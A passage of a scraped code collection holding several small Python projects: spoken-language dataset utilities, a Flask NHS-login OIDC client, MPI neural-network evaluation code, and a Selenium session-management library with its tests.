pd.DataFrame(\n np.zeros((len(clazzes), len(GENDERS)), dtype=int),\n index=clazzes,\n columns=GENDERS)\n threshold_scores = pd.DataFrame(\n np.zeros((len(clazzes), len(GENDERS)), dtype=int),\n index=clazzes,\n columns=GENDERS)\n for index in range(len(actual)):\n clazz = metadata[index][LANGUAGE_INDEX]\n gender = metadata[index][GENDER_INDEX]\n if actual[index] != expected[index]:\n errors[gender][clazz] += 1\n if actual[index] >= THRESHOLD:\n if actual[index] != expected[index]:\n threshold_errors[gender][clazz] += 1\n if actual[index] == expected[index]:\n threshold_scores[gender][clazz] += 1\n\n print(\"Amount of errors by gender:\")\n print(errors, \"\\n\")\n print(\"Amount of errors by gender (threshold {0}):\".format(THRESHOLD))\n print(threshold_errors, \"\\n\")\n print(\"Amount of scores by gender (threshold {0}):\".format(THRESHOLD))\n print(threshold_scores, \"\\n\")\n\n print(classification_report(expected, actual, target_names=clazzes))\n\n\ndef load_data(label_binarizer, input_dir, group, fold_indexes, input_shape):\n all_metadata = []\n all_features = []\n\n for fold_index in fold_indexes:\n filename = \"{group}_metadata.fold{index}.npy\".format(\n group=group, index=fold_index)\n metadata = np.load(os.path.join(input_dir, filename))\n\n filename = \"{group}_data.fold{index}.npy\".format(\n group=group, index=fold_index)\n features = np.memmap(\n os.path.join(input_dir, filename),\n dtype=DATA_TYPE,\n mode='r',\n shape=(len(metadata),) + input_shape)\n\n all_metadata.append(metadata)\n all_features.append(features)\n\n all_metadata = np.concatenate(all_metadata)\n all_features = np.concatenate(all_features)\n all_labels = label_binarizer.transform(all_metadata[:, 0])\n\n print(\"[{group}] labels: {labels}, features: {features}\".format(\n group=group, labels=all_labels.shape, features=all_features.shape))\n\n return all_labels, all_features, all_metadata\n\n\ndef build_label_binarizer():\n label_binarizer = preprocessing.LabelBinarizer()\n label_binarizer.fit(LANGUAGES)\n clazzes = list(label_binarizer.classes_)\n print(\"Classes:\", clazzes)\n\n return label_binarizer, clazzes\n\n\ndef train_generator(fold_count, input_dir, input_shape, max_iterations=1):\n label_binarizer, clazzes = build_label_binarizer()\n\n fold_indexes = list(range(1, fold_count + 1))\n\n iteration = 0\n for fold_index in fold_indexes:\n train_fold_indexes = fold_indexes.copy()\n train_fold_indexes.remove(fold_index)\n train_labels, train_features, train_metadata = load_data(\n label_binarizer,\n input_dir,\n 'train',\n train_fold_indexes,\n input_shape)\n\n test_fold_indexes = [fold_index]\n test_labels, test_features, test_metadata = load_data(\n label_binarizer,\n input_dir,\n 'train',\n test_fold_indexes,\n input_shape)\n\n yield (train_labels, train_features, test_labels,\n test_features, test_metadata, clazzes)\n\n del train_labels\n del train_features\n del train_metadata\n\n del test_labels\n del test_features\n del test_metadata\n\n iteration += 1\n if iteration == max_iterations:\n return\n\n\ndef remove_extension(file):\n return os.path.splitext(file)[0]\n\n\ndef get_filename(file):\n return os.path.basename(remove_extension(file))\n\n\ndef group_uids(files):\n uids = dict()\n\n # intialize empty sets\n for language in LANGUAGES:\n uids[language] = dict()\n for gender in GENDERS:\n uids[language][gender] = set()\n\n # extract uids and append to language/gender sets\n for file in files:\n info = get_filename(file).split('_')\n\n language = info[0]\n gender = info[1]\n uid = info[2].split('.')[0]\n\n uids[language][gender].add(uid)\n\n # convert sets to lists\n for language in LANGUAGES:\n for gender in GENDERS:\n uids[language][gender] = sorted(list(uids[language][gender]))\n\n return uids\n\n\nif __name__ == \"__main__\":\n generator = train_generator(3, 'fb', (FB_HEIGHT, WIDTH, COLOR_DEPTH))\n for train_labels, train_features, test_labels, test_features in generator:\n print(train_labels.shape)\n", "id": "10898501", "language": "Python", "matching_score": 3.5904412269592285, "max_stars_count": 118, "path": "common.py" }, { "content": "SEED = 42\n\nFB_HEIGHT = 40 # filter banks\nWIDTH = 998\nCOLOR_DEPTH = 1\nINPUT_SHAPE = (FB_HEIGHT, WIDTH, COLOR_DEPTH)\n\nDATA_TYPE = 'float32'\nDATA_KEY = 'data'\n\nLANGUAGES = ['en', 'de', 'es']\nGENDERS = ['m', 'f']\n\nLANGUAGE_INDEX = 0\nGENDER_INDEX = 1\n\nTHRESHOLD = 0.8\n\nFRAGMENT_DURATION = 10 # seconds\n\nDATASET_DIST = 'spoken_language_dataset/build'\nFEATS_DIST = 'spoken_language_dataset/kaldifeats'\n\nEXPTS_INT = 'spoken_language_dataset/expts/kaldi2'\n", "id": "6569688", "language": "Python", "matching_score": 0.9527854919433594, "max_stars_count": 0, "path": "constants.py" } ]
2.894336
initialspark
[ { "content": "import uuid\r\n\r\nimport jwt\r\nfrom oic import rndstr\r\nfrom oic.oauth2 import AuthorizationResponse\r\nfrom oic.oic import Client\r\nfrom oic.utils.authn.client import CLIENT_AUTHN_METHOD\r\nfrom oic.utils.time_util import utc_time_sans_frac\r\n\r\n\r\nclass OIDCClient:\r\n def __init__(self, client_id, authority_url, scopes, redirect_uri):\r\n self.client = self._get_client(client_id, authority_url)\r\n self.callback_url = redirect_uri\r\n self.scopes = scopes\r\n\r\n def _get_client(self, client_id, authority_url):\r\n client = Client(client_id=client_id, client_authn_method=CLIENT_AUTHN_METHOD)\r\n client.provider_config(authority_url)\r\n return client\r\n\r\n def get_authorization_url(self, vtr='[\"P0.Cp.Cd\", \"P0.Cp.Ck\", \"P0.Cm\"]'):\r\n args = {\r\n 'client_id': self.client.client_id,\r\n 'response_type': 'code',\r\n 'scope': self.scopes,\r\n 'nonce': rndstr(),\r\n 'redirect_uri': self.callback_url,\r\n 'state': rndstr(),\r\n 'vtr': vtr\r\n }\r\n\r\n auth_req = self.client.construct_AuthorizationRequest(request_args=args)\r\n return auth_req.request(self.client.authorization_endpoint)\r\n\r\n def get_access_token(self, args):\r\n request_args = {\r\n 'code': args['code'],\r\n 'client_id': self.client.client_id,\r\n 'redirect_uri': self.callback_url\r\n }\r\n\r\n kwargs = {'algorithm': \"RS512\", 'authn_endpoint': 'token', 'authn_method': \"private_key_jwt\",\r\n 'client_assertion': self._create_assertion(), 'request_args': request_args, 'scope': self.scopes}\r\n\r\n if 'state' in args:\r\n kwargs['state'] = args['state']\r\n\r\n return self.client.do_access_token_request(**kwargs)\r\n\r\n def _create_assertion(self, lifetime=60):\r\n _now = utc_time_sans_frac()\r\n client_id = self.client.client_id\r\n\r\n payload = {'iss': client_id, 'sub': client_id, 'aud': self.client.token_endpoint,\r\n 'jti': str(uuid.uuid4()), 'exp': _now + lifetime}\r\n\r\n with open(\"private_key.pem\") as key_file:\r\n token = jwt.encode(payload, key=key_file.read(), algorithm='RS512')\r\n\r\n return token.decode('utf-8')\r\n\r\n def get_userinfo(self, access_token):\r\n user_info = self.client.do_user_info_request(token=access_token, method=\"GET\")\r\n return user_info.to_dict()\r\n\r\n def get_authorization_response(self, args):\r\n return self.client.parse_response(AuthorizationResponse, info=args, sformat='dict')\r\n", "id": "4758214", "language": "Python", "matching_score": 2.991793632507324, "max_stars_count": 0, "path": "oidc_client.py" }, { "content": "from util import get_env_variable\n\nfrom flask import *\nfrom flask_session import Session\n\nfrom oidc_client import OIDCClient\n\nNHS_LOGIN_AUTHORITY_URL = get_env_variable('NHS_LOGIN_AUTHORITY_URL')\nNHS_LOGIN_CLIENT_ID = get_env_variable('NHS_LOGIN_CLIENT_ID')\nNHS_LOGIN_CALLBACK_URL = get_env_variable('NHS_LOGIN_CALLBACK_URL')\nNHS_LOGIN_SCOPES = get_env_variable('NHS_LOGIN_SCOPES')\n\noidc_client = OIDCClient(NHS_LOGIN_CLIENT_ID,\n NHS_LOGIN_AUTHORITY_URL,\n NHS_LOGIN_SCOPES,\n NHS_LOGIN_CALLBACK_URL)\n\napp = Flask(__name__)\n\nSESSION_TYPE = 'filesystem'\napp.config.from_object(__name__)\nSession(app)\n\n\n@app.route('/')\ndef index():\n auth_url = oidc_client.get_authorization_url()\n return render_template('index.jinja', authorize_url=auth_url)\n\n\n@app.route('/oidc-callback')\ndef auth_callback():\n auth_resp = oidc_client.get_authorization_response(request.args)\n session['token_request'] = oidc_client.get_access_token(auth_resp)\n return redirect(url_for('user_details'))\n\n\n@app.route('/user-details')\ndef user_details():\n access_token = session['token_request']['access_token']\n user_info = oidc_client.get_userinfo(access_token)\n return render_template('user_details.jinja', user_info=user_info)\n", "id": "4034644", "language": "Python", "matching_score": 1.902786374092102, "max_stars_count": 0, "path": "app.py" }, { "content": "import os\n\n\ndef get_env_variable(name):\n try:\n return os.environ[name]\n except KeyError:\n message = \"Expected environment variable '{}' not set.\".format(name)\n raise Exception(message)\n", "id": "6918613", "language": "Python", "matching_score": 0.7583614587783813, "max_stars_count": 0, "path": "util.py" } ]
1.902786
sbessai
[ { "content": "from mpi4py import MPI\n\n#\n# Fonctions de traitement sur un réseau de neurones\n#\n\ndef PrintFCNN(loaded_weights, loaded_bias, loaded_funcs):\n\tn_layer = len(loaded_weights)\n\t\n\tfor layer in range(n_layer):\n\t\tprint('Nombre de neurones dans la couche', layer, ':', len(loaded_weights[layer]), 'neurones', len(loaded_weights[layer][0]), 'éléments', 'fonction', loaded_funcs[layer])\n\t\t# print(loaded_weights[layer])\n\t\t# print(loaded_bias[layer])\n\t\n\n\ndef CheckFCNN(loaded_weights, loaded_bias, loaded_funcs, entry_size):\n\tif len(loaded_weights) != len(loaded_bias):\n\t\tprint('Erreur nombre d\\'element incorrect ( loaded_weights / loaded_bias ) --> (',len(loaded_weights),'/',len(loaded_bias),')')\n\t\treturn -1\n\tif len(loaded_weights) != len(loaded_funcs):\n\t\tprint('Erreur nombre d\\'element incorrect ( loaded_weights / loaded_funcs ) --> (', len(loaded_weights), '/', len(loaded_funcs), ')')\n\t\treturn -1\n\n\tfor layer in range(len(loaded_weights)):\n\t\tif len(loaded_weights[layer]) != len(loaded_bias[layer]):\n\t\t\tprint('Erreur nombre d\\'element incorrect ( loaded_weights[', layer, '] / loaded_bias[', layer, ']) --> (', len(loaded_weights[layer]), '/', len(loaded_bias[layer]), ')' )\n\t\t\treturn -1\n\t\tfor neuron in range(len(loaded_weights[layer])):\n\t\t\tif len(loaded_weights[layer][neuron]) != entry_size:\n\t\t\t\tprint('Erreur nombre d\\'element incorrect ( loaded_weights[', layer, '][', neuron, '] / entry_size) --> (', len(loaded_weights[layer][neuron]), '/', entry_size, ')')\n\t\t\t\treturn -1\n\t\tentry_size = len(loaded_weights[layer])\n\n\treturn 0\n\ndef GetProcessTasks(total_tasks, entry_size):\n\tcomm = MPI.COMM_WORLD\n\tworld_size = comm.Get_size()\n\trank = comm.Get_rank()\n\n\tsegment_size = int(total_tasks / world_size)\n\tremaining_tasks = total_tasks - (world_size) * segment_size\n\n\tprocess_tasks = []\n\tfor process_id in range(world_size):\n\t\tprocess_tasks.append(segment_size)\n\t\tif process_id > 0 and process_id <= remaining_tasks :\n\t\t\tprocess_tasks[process_id] += 1\n\t\tprocess_tasks[process_id] *= entry_size\n\n\treturn process_tasks\n\n# def GetProcessTasks(total_tasks):\n# \tcomm = MPI.COMM_WORLD\n# \tworld_size = comm.Get_size()\n# \trank = comm.Get_rank()\n\n# \tsegment_size = int(total_tasks / world_size)\n# \tremaining_tasks = total_tasks - (world_size) * segment_size\n\n# \tprocess_tasks = []\n# \tfor process_id in range(world_size):\n# \t\tprocess_tasks.append(segment_size)\n# \t\tif rank > 0 and rank < remaining_tasks :\n# \t\t\tprocess_tasks[process_id] += 1\n\n# \treturn process_tasks\n\ndef GetTasksOffset(process_tasks):\n\tcomm = MPI.COMM_WORLD\n\tworld_size = comm.Get_size()\n\trank = comm.Get_rank()\n\n\ttasks_offset = []\n\tfor process_id in range(world_size):\n\t\ttasks_offset.append(0)\n\t\tfor process_rank in range(0, process_id):\n\t\t\ttasks_offset[process_id] += process_tasks[process_rank]\n\n\treturn tasks_offset", "id": "10480021", "language": "Python", "matching_score": 3.091135263442993, "max_stars_count": 0, "path": "utils.py" }, { "content": "from mpi4py import MPI\nimport mpi4py\nimport numpy as np\nfrom utils import GetProcessTasks, GetTasksOffset\n\n#\n# Fonctions de communication parallèle\n#\n\ndef SendSubLayer(loaded_weights, loaded_bias, loaded_func, entry):\n\tcomm = MPI.COMM_WORLD\n\tworld_size = comm.Get_size()\n\trank = comm.Get_rank()\n\n\tn_neuron = len(loaded_weights)\n\tcomm.bcast(n_neuron, root=0)\n\n\tcomm.bcast(len(entry), root=0)\n\n\tprocess_tasks = GetProcessTasks(n_neuron, len(entry))\n\ttasks_offset = GetTasksOffset(process_tasks)\n\n\t# print(loaded_weights)\n\n\tweights = np.zeros(process_tasks[rank])\n\tcomm.Scatterv([loaded_weights, process_tasks, tasks_offset, MPI.DOUBLE], weights, root=0)\n\n\tprocess_tasks = GetProcessTasks(n_neuron, 1)\n\ttasks_offset = GetTasksOffset(process_tasks)\n\n\tbias = np.zeros(process_tasks[rank])\n\tcomm.Scatterv([loaded_bias, process_tasks, tasks_offset, MPI.DOUBLE], bias, root=0)\n\n\tfunc = None\n\tfunc = comm.bcast(loaded_func, root=0)\n\n\treturn [weights, bias, func]\n\ndef RecvSubLayer():\n\tcomm = MPI.COMM_WORLD\n\tworld_size = comm.Get_size()\n\trank = comm.Get_rank()\n\n\tn_neuron = comm.bcast(None, root=0)\n\tsegment_size = int(n_neuron / world_size)\n\tremaining_tasks = n_neuron - (world_size) * segment_size\n\n\tentry_size = comm.bcast(None, root=0)\n\n\tprocess_tasks = segment_size\n\tif rank <= remaining_tasks :\n\t\tprocess_tasks += 1\n\n\tweights = np.zeros(process_tasks * entry_size)\n\tcomm.Scatterv([None, None, None, MPI.DOUBLE], weights, root=0)\n\n\tbias = np.zeros(process_tasks)\n\tcomm.Scatterv([None, None, None, MPI.DOUBLE], bias, root=0)\n\n\tfunc = None\n\tfunc = comm.bcast(None, root=0)\n\n\treturn [weights, bias, func]\n\n# def GatherResult(result, total_tasks):\n# comm = MPI.COMM_WORLD\n# world_size = comm.Get_size()\n# rank = comm.Get_rank()\n\n# total_tasks = comm.bcast(total_tasks, root=0)\n\n# res = np.zeros(total_tasks)\n\n# print(rank, res, total_tasks)\n# print(rank, result, total_tasks)\n\n# process_tasks = GetProcessTasks(total_tasks, 1)\n# tasks_offset = GetTasksOffset(process_tasks)\n\n# comm.Gatherv(result,[res,process_tasks,tasks_offset,MPI.DOUBLE], root=0)\n\n# return res\n\ndef GatherResult(res, total_tasks):\n\tcomm = MPI.COMM_WORLD\n\trank = comm.Get_rank()\n\tworld_size = comm.size\n\n\ttotal_tasks = comm.bcast(total_tasks, root=0)\n\tsegment_size = int(total_tasks / world_size)\n\n\tremaining_tasks = total_tasks - (world_size) * segment_size\n\n\tif rank == 0:\n\t\tprocess_task = [segment_size] * world_size\n\t\tfor process_id in range(world_size):\n\t\t\tif remaining_tasks >= process_id and process_id > 0:\n\t\t\t\tprocess_task[process_id] += 1\n\t\n\tif remaining_tasks >= rank and rank > 0:\n\t\tsegment_size += 1\n\n\tif rank == 0:\n\t\tfor process_id in range(1,world_size):\n\t\t\tfor neuron in range(process_task[process_id]):\n\t\t\t\tres.append(comm.recv(None, process_id))\n\telse:\n\t\tfor neuron in range(segment_size):\n\t\t\tcomm.send(res[neuron], 0)\n\n\tfinal_res = []\n\n\tfor neuron in range(total_tasks):\n\t\tif rank == 0:\n\t\t\tfinal_res.append(comm.bcast(res[neuron], root=0))\n\t\telse:\n\t\t\tfinal_res.append(comm.bcast(None, root=0))\n\n\treturn final_res", "id": "1715787", "language": "Python", "matching_score": 3.179366111755371, "max_stars_count": 0, "path": "communication.py" }, { "content": "from mpi4py import MPI\nfrom communication import RecvSubLayer, SendSubLayer, GatherResult\nfrom bigfloat import *\n\n#\n# Fonctions d'évaluation d'un reseau de neurones\n#\n\n#\n# Evaluation Sequentielle\n#\n\ndef SequentialEvaluateNeuron(neuron_weights, neuron_bias, neuron_func, x):\n res = 0.\n for i in range(len(x)):\n res += neuron_weights[i] * x[i]\n res += neuron_bias\n res = neuron_func(res)\n return res\n\ndef SequentialEvaluateLayer(layer_weights, layer_bias, layer_func, x):\n\tres = []\n\tlayer_size = len(layer_weights)\n\tfor i in range(layer_size):\n\t\tres.append(SequentialEvaluateNeuron(layer_weights[i], layer_bias[i], layer_func, x))\n\treturn res\n\ndef SequentialEvaluateNN(loaded_weights, loaded_bias, loaded_funcs, x):\n n_layer = len(loaded_weights)\n for layer in range(n_layer):\n res = SequentialEvaluateLayer(loaded_weights[layer], loaded_bias[layer], loaded_funcs[layer], x)\n x = res\n return res\n\n#\n# Evaluation Parallèle\n#\n\ndef ParallalEvaluateNeuron(neuron_weights, neuron_bias, neuron_func, x, neuron):\n res = 0.\n for i in range(len(x)):\n res += neuron_weights[neuron * len(x) + i] * x[i]\n res += neuron_bias[neuron]\n res = neuron_func(res)\n return res\n\ndef ParallalEvaluateLayer(layer_weights, layer_bias, layer_func, x):\n comm = MPI.COMM_WORLD\n world_size = comm.size\n rank = comm.rank\n res = []\n layer_size = int(len(layer_weights) / len(x))\n for neuron in range(layer_size):\n res.append(ParallalEvaluateNeuron(layer_weights, layer_bias, layer_func, x, neuron))\n return res\n\ndef ParallalEvaluateNN(loaded_weights, loaded_bias, loaded_funcs, x):\n comm = MPI.COMM_WORLD\n world_size = comm.size\n rank = comm.rank\n\n n_layer = comm.bcast(len(loaded_weights), root=0)\n\n res = x\n for layer in range(n_layer):\n if rank == 0:\n # print('Envoi de la couche', layer)\n [weights, bias, func] = SendSubLayer(loaded_weights[layer], loaded_bias[layer], loaded_funcs[layer], res)\n # print('Evaluation de la couche', layer)\n res = ParallalEvaluateLayer(weights, bias, func, res)\n # print('Récupération des résultats de la couche', layer)\n res = GatherResult(res, len(loaded_weights[layer]))\n else:\n [weights, bias, func] = RecvSubLayer()\n res = ParallalEvaluateLayer(weights, bias, func, res)\n res = GatherResult(res, None)\n comm.Barrier()\n return res\n\n#\n# Evaluation avec MPFR\n#\n\ndef MPFREvaluateNeuron(neuron_weights, neuron_bias, neuron_func, x):\n res = BigFloat(0.0)\n for i in range(len(x)):\n res = add(res, mul( neuron_weights[i], x[i]))\n res = add(res, neuron_bias)\n res = neuron_func(res)\n return res \n\ndef MPFREvaluateLayer(layer_weights, layer_bias, layer_func, x):\n res = []\n layer_size = len(layer_weights)\n for i in range(layer_size):\n res.append(MPFREvaluateNeuron(layer_weights[i], layer_bias[i], layer_func, x))\n return res\n\ndef MPFREvaluateNN(loaded_weights, loaded_bias, loaded_funcs, x):\n n_layer = len(loaded_weights)\n for layer in range(n_layer):\n res = MPFREvaluateLayer(loaded_weights[layer], loaded_bias[layer], loaded_funcs[layer], x)\n x = res\n return res\n\n#\n# Wrapper\n#\n\ndef EvaluateNN(loaded_weights, loaded_bias, loaded_funcs, x):\n comm = MPI.COMM_WORLD\n world_size = comm.size\n \n if world_size > 1:\n res = ParallalEvaluateNN(loaded_weights, loaded_bias, loaded_funcs, x)\n else:\n res = SequentialEvaluateNN(loaded_weights, loaded_bias, loaded_funcs, x)\n\n comm.Barrier()\n\t\n return res", "id": "4212587", "language": "Python", "matching_score": 1.2610019445419312, "max_stars_count": 0, "path": "evaluate.py" }, { "content": "from mpi4py import MPI\nfrom load import GenerateFixedFCNN\nfrom evaluate import EvaluateNN\nimport time\n\ncomm = MPI.COMM_WORLD\nworld_size = comm.Get_size()\nrank = comm.Get_rank()\n\nx = [0,0]\n\nlayer_exponent = 6\nneuron_exponent = 10\n\nfor n_layer in range(layer_exponent):\n if rank == 0:\n print(4**n_layer, 'Couche')\n print('neuron\\t\\ttime')\n for n_neuron in range(neuron_exponent):\n if rank == 0:\n [weights, bias, func] = GenerateFixedFCNN(4**n_layer, len(x), 2**n_neuron)\n start_time = time.time()\n res = EvaluateNN(weights, bias, func, x)\n end_time = time.time()\n if rank == 0:\n print(2**n_neuron, '\\t', end_time - start_time)", "id": "2510103", "language": "Python", "matching_score": 2.903257369995117, "max_stars_count": 0, "path": "create_data_file.py" }, { "content": "from mpi4py import MPI\n\nfrom utils import CheckFCNN, PrintFCNN\n\nfrom load import GenerateFCNN, SombreroLoad\n\nfrom evaluate import EvaluateNN\n\nimport time\n\n#\n# ZONE DE TEST\n#\n\ncomm = MPI.COMM_WORLD\nworld_size = comm.Get_size()\nrank = comm.Get_rank()\n\nweights = []\nbias = []\nfunc = []\nx = [0,0]\n\nif rank == 0:\n\t# [weights, bias, func] = SombreroLoad()\n\t[weights, bias, func] = GenerateFCNN(10, 2, 200, 1000)\n\tCheckFCNN(weights, bias, func, len(x))\n\t# PrintFCNN(weights, bias, func)\n\nstart_time = time.time()\nres = EvaluateNN(weights, bias, func, x)\nend_time = time.time()\n\nif rank == 0:\n\tprint(res)\n\tprint(\"--- %s seconds ---\" % (end_time - start_time))", "id": "11337599", "language": "Python", "matching_score": 2.1655664443969727, "max_stars_count": 0, "path": "main.py" } ]
2.903257
Tesqos
[ { "content": "from setuptools import setup, find_packages\n\nsetup(\n name='viperdriver',\n author='vipervit',\n author_email='<EMAIL>',\n license='Apache',\n description='Collection of tools and libraries including custom expansion of Selenium WebDriver.',\n version='0.6',\n packages=find_packages(exclude=[\"*.tests\", \"*.tests.*\", \"tests.*\", \"tests\", \"test*\"])\n)\n", "id": "3697250", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "setup.py" }, { "content": "import os\n\ndir_data = __path__[0] + os.sep + 'data'\n", "id": "6207738", "language": "Python", "matching_score": 0.05259197577834129, "max_stars_count": 0, "path": "viperdriver/tests/__init__.py" }, { "content": "import logging\n\nimport keyring\n\nfrom viperlib import creds, jsondata\nfrom viperdriver import SessionDriver\n\nlogger = logging.getLogger(__name__)\n\n\nclass SitePages(jsondata):\n\n def __init__(self):\n self.filename = 'pages'\n\nclass Websession(SessionDriver):\n\n _url_home = None\n _url_main = None\n _credentials = None\n _dataloc = None\n _loginrequired = True\n\n def __init__(self, login_required=True):\n self.login_required = login_required\n super().__init__()\n if login_required:\n self._credentials = creds()\n self.pages = SitePages()\n\n def launch(self, new_session=True):\n super().launch(new_session)\n self.go_page('Home')\n\n @property\n def login_required(self):\n return self._loginrequired\n\n @login_required.setter\n def login_required(self, val):\n self._loginrequired = val\n\n @property\n def data_location(self):\n return self._dataloc\n\n @data_location.setter\n def data_location(self, val):\n self._dataloc = val\n if self.login_required and self.credentials.type == creds.CREDS_TYPE_PLAIN:\n self.credentials.plain.location = self._dataloc\n self.pages.location = self._dataloc\n self.pages.get_from_file()\n self.session.location = self._dataloc\n\n @property\n def pages(self):\n return self._pages\n\n @pages.setter\n def pages(self, val):\n self._pages = val\n\n @property\n def credentials(self):\n return self._credentials\n\n @credentials.setter\n def credentials(self, obj):\n self._credentials = obj\n\n def go_page(self, page_name):\n assert page_name in self.pages.contents, 'Page not defined: ' + page_name + '.'\n self.get(self.pages.contents[page_name])\n logger.info(self.title)\n", "id": "12479448", "language": "Python", "matching_score": 2.918051242828369, "max_stars_count": 0, "path": "viperdriver/src/website.py" }, { "content": "import keyring\n\nfrom viperdriver import Websession\nfrom viperdriver.tests import dir_data\nfrom viperlib import creds\n\nsecure_keyring_service_name = 'VIPER_TEST'\nsecure_alias = 'Viper'\nsecure_uid = '<EMAIL>'\nsecure_pwd = '<PASSWORD>'\n\nplain_fname = 'login'\nplain_alias = 'test user'\nplain_uid = 'Tester'\nplain_pwd = '<PASSWORD>'\n\nclass Test_Credentials:\n\n class keyring_record:\n\n def create():\n keyring.set_password(secure_keyring_service_name, secure_alias, secure_uid)\n keyring.set_password(secure_uid, 'pwd', secure_pwd)\n\n def delete():\n keyring.delete_password(secure_keyring_service_name, secure_alias)\n keyring.delete_password(secure_uid, 'pwd')\n\n\n def _init(self):\n self.x = Websession()\n self.x.data_location = dir_data\n self.x.session.mustdelete=False\n self.y = Websession(login_required=False)\n self.y.data_location = dir_data\n\n def _cleanup(self):\n self.x.quit()\n self.y.quit()\n\n def test_credentials_unsecure(self):\n self._init()\n self.x.credentials.type = creds.CREDS_TYPE_PLAIN\n self.x.credentials.plain.filename = plain_fname\n self.x.credentials.plain.location = dir_data\n self.x.credentials.alias = plain_alias\n self.x.credentials.get()\n assert self.x.credentials.user == plain_uid\n assert self.x.credentials.password == <PASSWORD>\n self._cleanup()\n\n def test_credentials_secure(self):\n self._init()\n self.keyring_record.create()\n self.x.credentials.type = creds.CREDS_TYPE_SECURE\n self.x.credentials.alias = secure_keyring_service_name\n self.x.credentials.KWD_UID = secure_alias\n self.x.credentials.get()\n assert self.x.credentials.user == secure_uid\n assert self.x.credentials.password == <PASSWORD>\n self.keyring_record.delete()\n self._cleanup()\n\n def test_website_launch_no_login_new_session(self):\n self._init()\n self.y.launch()\n assert self.y.title == 'The world’s leading software development platform · GitHub'\n self._cleanup()\n\n def test_website_launch_no_login_session_exists(self):\n self._init()\n self.x.launch()\n self.y.launch(new_session=False)\n assert self.y.title == 'The world’s leading software development platform · GitHub'\n self._cleanup()\n", "id": "1406292", "language": "Python", "matching_score": 1.3065143823623657, "max_stars_count": 0, "path": "viperdriver/tests/test_website.py" }, { "content": "from viperdriver import SessionDriver, f_session, kwd_listener, kwd_sessionid\nimport pytest\nimport os\n\ndef create_session():\n \"\"\" Auxiliary (not a testing) function.\"\"\"\n drv = SessionDriver()\n drv.session.mustsave = True\n drv.mustdelete=False\n drv.launch(new_session=True)\n info = drv.session.contents\n return info\n\ndef test_launch_brand_new_session():\n drv = SessionDriver()\n drv.launch(new_session=True)\n assert not drv.session.is_empty(), 'Session info is empty!'\n drv.get('https://en.wikipedia.org/wiki/Sevastopol')\n assert drv.title == 'Sevastopol - Wikipedia', 'Wikipedia page about the legendary city not diplayed.'\n drv.quit()\n\ndef test_launch_connect_to_existing_session():\n session_info = create_session()\n drv = SessionDriver()\n drv.launch(new_session=False)\n exp = session_info[kwd_sessionid]\n act = drv.session.id\n assert act == exp, 'Expected session id: ' + exp + 'actual: ' + act\n drv.quit()\n\ndef test_session_connect():\n session_info = create_session()\n drv = SessionDriver()\n drv.client_connect(session_info)\n drv.get('https://www.breitbart.com/')\n assert drv.title == 'Breitbart News Network'\n drv.quit()\n", "id": "10657675", "language": "Python", "matching_score": 2.5071654319763184, "max_stars_count": 0, "path": "viperdriver/tests/test_viperdriver.py" }, { "content": "import logging\n\nimport subprocess\nfrom subprocess import Popen, PIPE, STDOUT, DEVNULL\n\nfrom selenium.webdriver import Remote\nfrom selenium.webdriver import ChromeOptions\nfrom selenium.webdriver import IeOptions\nimport selenium.common.exceptions\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\n\nfrom viperdriver import dir_session_default, default_listener, f_session, kwd_listener, kwd_sessionid\nfrom viperlib import jsondata\n\nlogger = logging.getLogger(__name__)\n\nclass Session(jsondata):\n\n def __init__(self):\n self.contents = { kwd_listener: default_listener, kwd_sessionid: None }\n self.filename = f_session\n self.location = dir_session_default # default location for saved sessions\n self.mustsave = True\n self.mustdelete = True\n\n @property\n def listener(self):\n return self.contents[kwd_listener]\n\n @listener.setter\n def listener(self, val):\n self.contents[kwd_listener] = val\n\n @property\n def id(self):\n return self.contents[kwd_sessionid]\n\n @id.setter\n def id(self, val):\n self.contents[kwd_sessionid] = val\n\n def reset(self):\n self.__init__()\n\n def destroy(self):\n if not self.is_empty():\n sid = self.id # saving id for logger; will be destroyed with execution of next line\n super().destroy()\n if sid is not None:\n logger.debug('Session ' + sid + ' destroyed.')\n self.reset()\n\nclass SessionDriver(Remote):\n\n def __init__(self, browser='Chrome', headless=True):\n self.session = Session()\n self._browser = browser\n if self._browser is not 'Safari': # no Options exists for Safari\n self.options = eval(self._browser + 'Options()')\n self.options.headless = headless\n\n def __enter__(self):\n return self\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n self.quit()\n\n def __listener_start__(self):\n if self._browser == 'Chrome':\n cmd = 'chromedriver'\n else:\n raise NotImplemented\n if logger.getEffectiveLevel() == logging.DEBUG:\n subprocess.Popen(cmd)\n else:\n subprocess.Popen(cmd, stdout=DEVNULL, stderr=DEVNULL)\n\n def __drv_launch__(self):\n self.__listener_start__()\n super().__init__(command_executor=self.session.listener, desired_capabilities={}, options=self.options)\n\n def quit(self):\n if self.client_is_connected():\n super().quit()\n self.session.destroy()\n if not self.client_is_connected():\n logger.debug('Client destroyed.')\n else:\n logger.debug('No connected client.')\n\n def client_start_new(self):\n self.__drv_launch__()\n self.session.id = self.session_id\n logger.debug('Session ' + self.session.id + ' created.')\n if self.session.mustsave:\n self.session.save_to_file()\n\n def client_connect(self, session_info):\n if session_info is not None and session_info is not []:\n self.session.contents = session_info\n assert self.session.listener != None and self.session.id != None, __name__ + \": driver session parameters are empty.\"\n self.__drv_launch__()\n self.close()\n self.session_id = self.session.id # do not remove: we need to assign property to RemoteWebDriver parent object\n self._url = self.current_url\n\n def client_connect_to_filed(self):\n try:\n self.session.file_exists()\n self.session.get_from_file()\n self.client_connect(self.session.contents)\n logger.debug('Connected to session ' + self.session.id + '.')\n except:\n raise Exception('Could not connect to existing session.')\n\n def client_is_connected(self):\n try:\n self.current_url\n return True\n except (TypeError, AttributeError, selenium.common.exceptions.WebDriverException):\n return False\n\n def launch(self, new_session=True):\n \"\"\"Either launches a brand new session or connects to a filed one.\\nArgs: new_session=True\\nTo connect to an existing session by passing the session info as an argument, use client_connect().\n \"\"\"\n if new_session:\n self.client_start_new()\n else:\n assert self.session.file_exists(), 'Could not find session file: ' + self.session.full_path()\n self.client_connect_to_filed()\n\n def switch_to_window(self, titlestr, strict=False): # strict mode if True: title must match exaclty\n rc = False\n for handle in self.window_handles:\n super().switch_to.window(handle)\n if (strict and self.title == titlestr) or (not strict and titlestr in self.title):\n rc = self.title\n return rc\n\n def dropdown_all_options_list_get(self, elementId):\n lst = []\n items = self.find_elements_by_xpath('//select[@id=\\'' + elementId + 